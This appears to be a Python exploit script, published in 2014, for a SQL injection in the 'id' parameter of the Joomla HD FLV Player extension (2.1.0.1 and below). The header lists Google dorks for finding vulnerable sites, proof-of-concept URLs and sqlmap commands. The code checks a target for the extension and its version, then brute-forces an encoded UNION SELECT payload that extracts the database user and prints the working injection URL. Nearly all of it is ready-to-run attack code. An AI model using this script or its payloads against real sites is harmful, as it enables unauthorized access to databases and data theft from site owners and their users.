#!/usr/bin/python
#
# Exploit Title : Joomla HD FLV 2.1.0.1 and below SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://www.hdflvplayer.net/
#
# Software Link : http://www.hdflvplayer.net/download_count.php?pid=5
#
# Dork google 1: inurl:/component/hdflvplayer/
# Dork google 2: inurl:com_hdflvplayer
#
# Date : 2014-11-11
#
# Tested on : BackBox 3.x/4.x
#
# Info: The variable "id" is not sanitized (again)
# Over 80.000 downloads (statistic reported on official site)
#
#
# Video Demo: http://youtu.be/-EdOQSjAhW8
#
# Poc:
# http://www.target.it/index.php?option=com_hdflvplayer&id=1[Sqli]
# http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6 [SQLi]/page/1 (url rewrite)
#
# Poc sqlmap:
# sqlmap -u "http://www.target.it/index.php?option=com_hdflvplayer&id=1" -p id --dbms mysql
# sqlmap -u "http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6*" --dbms mysql (url rewrite)
#
# http connection
import urllib, urllib2
# string manipulation
import re
# Errors management
import sys
# Args management
import optparse
# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url
banner = """
_______ __ ___ ___ ______
| _ .-----.-----.--------| .---.-. | Y | _ \
|___| | _ | _ | | | _ | |. 1 |. | \
|. | |_____|_____|__|__|__|__|___._| |. _ |. | \
|: 1 | |: | |: 1 /
|::.. . | |::.|:. |::.. . /
`-------' `--- ---`------'
_______ ___ ___ ___ _______ __
| _ | | | Y | | _ | .---.-.--.--.-----.----.
|. 1___|. | |. | | |. 1 | | _ | | | -__| _|
|. __) |. |___|. | | |. ____|__|___._|___ |_____|__|
|: | |: 1 |: 1 | |: | |_____|
|::.| |::.. . |\:.. ./ |::.|
`---' `-------' `---' `---'
<= 2.1.0.1 Sql Injection
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
commandList = optparse.OptionParser('usage: %prog -t URL')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target:
print(banner)
commandList.print_help()
sys.exit(1)
host = checkurl(options.target)
checkext = 0
evilurl = { '/index.php?option=com_hdflvplayer&id=-9404%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29' : '/index.php?option=com_hdflvplayer&id=[SQLi]' }
char = "%2CNULL"
endurl = "%2CNULL%23"
bar = "#"
print(banner)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}
sys.stdout.write("\r[+] Searching HD FLV Extension...: ")
try:
req = urllib2.Request(host+'/index.php?option=com_hdflvplayer&task=languagexml', None, headers)
response = urllib2.urlopen(req).readlines()
for line_version in response:
if not line_version.find("<?xml version=\"1.0\" encoding=\"utf-8\"?>") == -1:
checkext += 1
else:
checkext += 0
if checkext > 0:
sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND")
else:
sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n")
sys.exit(1)
except urllib2.HTTPError:
sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n")
sys.exit(1)
except urllib2.URLError as e:
print("\n[X] Connection Error: "+str(e.code))
sys.exit(1)
print("")
sys.stdout.write("\r[+] Checking Version: ")
try:
req = urllib2.Request(host+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers)
response = urllib2.urlopen(req).readlines()
for line_version in response:
if not line_version.find("<version>") == -1:
VER = re.compile('>(.*?)<').search(line_version).group(1)
sys.stdout.write("\r[+] Checking Version: "+str(VER))
except urllib2.HTTPError:
sys.stdout.write("\r[+] Checking Version: Unknown")
except urllib2.URLError as e:
print("\n[X] Connection Error: "+str(e.code))
sys.exit(1)
print("")
for exploiting, dork in evilurl.iteritems():
s = ""
barcount = ""
for a in range(1,100):
s += char
try:
req = urllib2.Request(host+exploiting+s+endurl, None, headers)
response = urllib2.urlopen(req).read()
if "h0m3l4b1t" in response:
print "\n[!] VULNERABLE"
current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1)
print "[*] Username: "+str(current_user)
print ""
print "[*] 3v1l Url: "+host+exploiting+s+endurl
sys.exit(0)
except urllib2.HTTPError as e:
response = e.read()
if "h0m3l4b1t" in response:
print "\n[!] VULNERABLE"
current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1)
print "[*] Username: "+str(current_user)
print ""
print "[*] 3v1l Url: "+host+exploiting+s+endurl
sys.exit(0)
except urllib2.URLError as e:
print("\n[X] Connection Error: "+str(e.code))
sys.exit(1)
barcount += bar
sys.stdout.write("\r[+] Exploiting...please wait: "+barcount)
sys.stdout.flush()
print "\n[X] Not vulnerable :("
print "[X] Try with tool like sqlmap and url "+host+"/index.php?option=com_hdflvplayer&id=1 (valid id number)"
